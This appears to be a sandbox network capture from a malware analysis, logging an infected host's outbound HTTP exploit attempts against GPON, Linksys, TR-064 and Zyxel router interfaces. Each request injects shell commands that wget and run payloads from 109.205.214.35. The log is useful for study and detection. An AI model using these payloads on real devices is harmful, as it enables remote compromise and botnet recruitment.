Mar 21, 2024 05:17:42.148709059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.23	34704	94.175.31.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148732901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.23	55130	94.34.117.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148751020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.23	47206	14.60.180.102	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.238914967 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:42.527302027 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.23	58510	125.209.141.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.499075890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:42.831353903 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:17:41 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.23	39616	200.69.25.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.761295080 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.890872002 CET	1286	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Thu, 21 Mar 2024 04:17:42 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff Data Raw: 33 62 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 84 55 51 73 a3 36 10 7e 0e bf 62 cf 79 e8 dd 4c 40 e0 34 97 84 10 77 1a c7 37 c9 4c da a4 0e b9 b6 4f 1e 01 8b 51 83 25 22 2d c6 ee 4d ff 7b 47 80 5d 27 f1 4d f5 00 82 fd f6 db d5 a7 d5 ca 71 9c e8 c3 f5 fd 38 fe f3 61 02 05 2d 4a 78 78 ba ba bb 1d c3 c0 65 ec f7 e3 31 63 d7 f1 35 fc 71 13 ff 72 07 81 e7 43 ac b9 34 82 84 92 bc 64 6c f2 eb 00 06 05 51 15 32 d6 34 8d d7 1c 7b 4a cf 59 3c 65 2b cb 15 58 e7 7e ea d2 8e a7 97 51 36 18 39 91 b5 8c 1c 80 a8 40 9e d9 09 40 44 82 4a 1c 45 ac 7b 77 ff 16 48 1c 6c 1c 17 5f 6a b1 bc 1c 8c 95 24 94 e4 c6 eb 0a 07 90 76 5f 97 03 c2 15 31 4b 7a 01 69 c1 b5 41 ba ac 29 3f 1b 00 eb 89 0c ad 4b 04 5a 57 d8 83 53 63 06 9d cd 8e 44 65 6b f8 b6 fd 3c c8 95 24 37 e7 0b 51 ae 43 f8 8a 3a e3 92 1f c1 cf 5a f0 f2 08 6e b0 5c 22 89 94 1f 81 e1 d2 b8 06 b5 c8 2f de 38 1b f1 37 86 10 0c ab d5 8e 25 e1 e9 f3 5c ab 5a 66 6e aa 4a a5 c3 c3 e3 cf a7 93 b3 c9 0e c4 a4 5a 95 65 c2 b5 9b 70 83 3d 0c 0e 7d ff e4 ea d4 df 8b e3 5a ab 66 0b fc 72 7c fe d9 bf da 0b bc e6 fa f9 b1 e0 99 6a dc f1 96 d6 8e 1d f4 96 a6 1d 17 ce c1 c1 c1 82 eb b9 90 e1 0e ea 9f ed 8c c3 37 e8 57 e2 0f 83 7c 78 72 01 56 5d 37 c3 54 69 6e f7 3c 94 4a e2 7f 0e 45 f0 4e e6 5e a9 b3 57 4a 6d f3 b8 3a 3f f3 87 3b 86 8a 67 99 90 73 37 51 44 6a 11 42 e0 7f 4f 61 b1 e0 73 0c a1 d6 e5 47 b3 36 b3 b4 e2 12 4b d6 fe 35 ac 73 b7 db ee fd 55 cd 3f ed 67 d0 58 21 a7 10 ba b7 bb 7a 9f 46 78 52 ad c0 6f 93 80 e0 c4 66 f2 3f 82 1d da 90 6e 5f b7 50 ed 8a b1 59 59 89 39 85 30 3c a9 f6 c4 73 b5 98 17 ef ad a5 90 e8 16 d8 d9 de 28 b9 f1 24 55 85 b0 9f 74 a3 e5 2b eb ce 9e 0d bf b7 67 3f be a2 6b 2d 4d 9f 45 a2 ca 6c 6f 5d 9d 9f bf 2a b8 d7 ab 0e f6 a4 10 b1 f6 f0 b6 ed 82 6d fa 45 64 75 ec cf 76 26 96 20 b2 cb c1 ae b4 83 11 80 13 7d 70 5d 30 c4 35 6d 3a 85 eb 8e 9c ee b7 03 42 1a 42 9e 81 ca 61 3a f9 ed 69 f2 18 cf 9e a6 b7 47 d0 20 a4 aa 2e 33 30 85 6a 80 27 46 95 35 21 3c 4d ef 60 29 78 e8 40 df f7 6e e2 f8 61 76 73 ff 18 b3 1d f7 36 a3 a4 26 68 0a 4e 20 72 10 64 5a 07 13 32 06 4a 83 a2 02 35 54 5a 91 4a 55 f9 53 8b 6f 1f 8f 93 e9 d7 c9 74 f6 70 3f 8d 67 8f 93 f1 d3 74 02 99 42 23 7f 20 30 88 0b 20 05 09 42 6d 30 7b 0b 87 52 cd 45 0a 4d 9b 74 a2 91 3f db c0 54 e0 da c2 81 97 84 5a 72 42 a8 94 26 e3 74 1a 14 c1 28 62 45 30 72 a2 6a 14 17 08 06 f5 12 35 a4 5c 4a 45 90 0b 99 59 06 d0 f8 52 a3 21 cc a0 b2 a7 29 62 55 a7 7e a9 d2 e7 97 5a 51 df a8 83 e1 a9 e7 7b be 17 b0 b4 9a a1 d6 4a 67 2a ad 17 28 c9 33 ed e5 f2 d1 c6 86 33 ff 53 bb 8b 3b ee 60 13 68 39 6e 73 58 ab 1a b8 c6 36 32 4f 53 55 4b 02 d5 48 d4 47 50 95 c8 0d 82 a9 93 85 20 20 91 3e 23 41 ae 34 e4 b5 6e 25 15 32 57 7a d1 f6 1c 2f 4a 74 5f 1b 1c 0a 8d f9 e5 e6 ae 32 75 65 13 f1 f8 b0 50 86 84 9c 7b a9 5a f4 Data Ascii: 3b7UQs6~byL@4w7LOQ%"-M{G]'Mq8a-Jxxe1c5qrC4dlQ24{JY<e+X~Q69@@DJE{wHl_j$v_1KziA)?KZWScDek<$7QC:Zn\"/87%\ZfnJZep=}Zfr\|j7W\|xrV]7Tin<JEN^WJm:?;gs7QDjBOasG6K5sU?gX!zFxRof?n_PYY90<s($Ut+g?k-MElo]mEduv& }p]05m:BBa:iG .30j'F5!<M`)x@navs6&hN rdZ2J5TZJUSotp?gtB# 0 Bm0{REMt?TZrB&t(bE0rj5\JEYR!)bU~ZQ{Jg(33S;`h9nsX62OSUKHGP >#A4n%2Wz/Jt_2ueP{Z
Mar 21, 2024 05:17:42.891094923 CET	60	IN	Data Raw: f7 c0 7d 85 12 e2 96 38 62 7c e4 b4 6b 8d 0a 6d ef 90 be 68 50 66 9b 4a 02 2b 63 57 9e 99 58 76 c5 d9 d5 64 c4 ba db ed 5f 00 00 00 ff ff 0d 0a Data Ascii: }8b\|kmhPfJ+cWXvd_
Mar 21, 2024 05:17:42.891105890 CET	27	IN	Data Raw: 61 0d 0a 03 00 50 23 a4 69 62 07 00 00 0d 0a Data Ascii: aP#ib
Mar 21, 2024 05:17:42.891117096 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 21, 2024 05:17:42.891129971 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Thu, 21 Mar 2024 04:17:42 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.23	47286	78.188.108.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.798353910 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:43.027571917 CET	476	IN	HTTP/1.1 404 Not Found Date: Thu, 19 Aug 2004 17:06:52 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.23	35986	82.202.172.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.798393011 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:12.958724022 CET	657	IN	HTTP/1.1 504 Gateway Timeout Server: ddos-guard Date: Thu, 21 Mar 2024 04:18:12 GMT Connection: close Content-Type: text/html; charset=utf8 Content-Encoding: gzip Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 31 39 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5d 90 4d 6e db 30 10 85 af 32 4d 90 4d 11 c5 b2 d2 c0 89 44 69 d3 06 59 b6 0b 03 41 96 63 71 24 11 e1 8f 40 8e 2c 19 86 81 5c a3 d7 eb 49 4a f9 27 05 ba 21 31 1f 31 ef 3d 3e f1 e5 c7 cf ef eb b7 5f cf d0 b1 d1 95 98 4f d0 68 db 92 6c 25 0c 31 42 dd a1 0f c4 e5 c0 4d f2 78 66 16 0d 95 5b 45 63 ef 3c 43 ed 2c 93 e5 f2 4a 59 c5 0a 75 12 6a d4 54 2e 6f c1 44 62 06 f3 0f 8c 4a 72 57 4a da aa 9a 92 e3 70 55 09 56 ac a9 7a f6 de 79 78 48 bf 89 c5 09 88 c0 bb 78 7d dd 1b f4 ad b2 79 5a f4 28 a5 b2 6d 9e 1e e6 9c fb 26 fa e6 cb 87 7e 5a 64 59 3f 01 fa e8 7d 1b d0 86 24 90 57 4d b1 c1 fa bd f5 6e b0 32 87 eb a6 69 8a da 69 e7 f3 eb 2c cb 3e a5 e6 f5 c3 c6 c9 dd c5 65 75 03 38 b0 83 b4 30 38 9d 22 e6 f7 4f 69 3f 15 f1 33 49 47 aa ed a2 e9 e3 0c 2e 1a f7 71 80 14 8e 52 fd 45 67 b9 3c c2 39 59 e1 b6 e4 1b ed 46 c8 3b 25 25 d9 83 b2 61 7f 0e b3 5a ad 0a a6 89 13 49 b5 f3 c8 ca 59 c8 ad b3 54 1c c4 e2 d4 80 e8 2b b1 a9 62 33 90 c0 0b 32 8d b8 83 b5 32 e4 06 86 3b b1 d8 54 20 a2 60 b5 ee 90 ff 7c fc 0e 80 16 68 2e 33 be cd 3c ae bf 12 48 25 c1 3a 06 4f 35 a9 2d 01 02 47 09 bd 8b 20 f4 ce 06 82 c6 3b 03 dc 11 0c 7d 60 4f 68 20 d6 18 93 df c1 ff fa 5a c3 48 f0 6e dd 78 b6 f8 0b ac 22 db cd 47 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19B]Mn02MMDiYAcq$@,\IJ'!11=>_Ohl%1BMxf[Ec<C,JYujT.oDbJrWJpUVzyxHx}yZ(m&~ZdY?}$WMn2ii,>eu808"Oi?3IG.qREg<9YF;%%aZIYT+b322;T `\|h.3<H%:O5-G ;}`Oh ZHnx"G0

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.23	58580	213.176.39.232	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.805320978 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.959031105 CET	154	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 21 Mar 2024 04:17:42 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: keep-alive
Mar 21, 2024 05:17:42.959125042 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.23	33868	82.148.227.155	80

Timestamp	Bytes transferred	Direction	Data
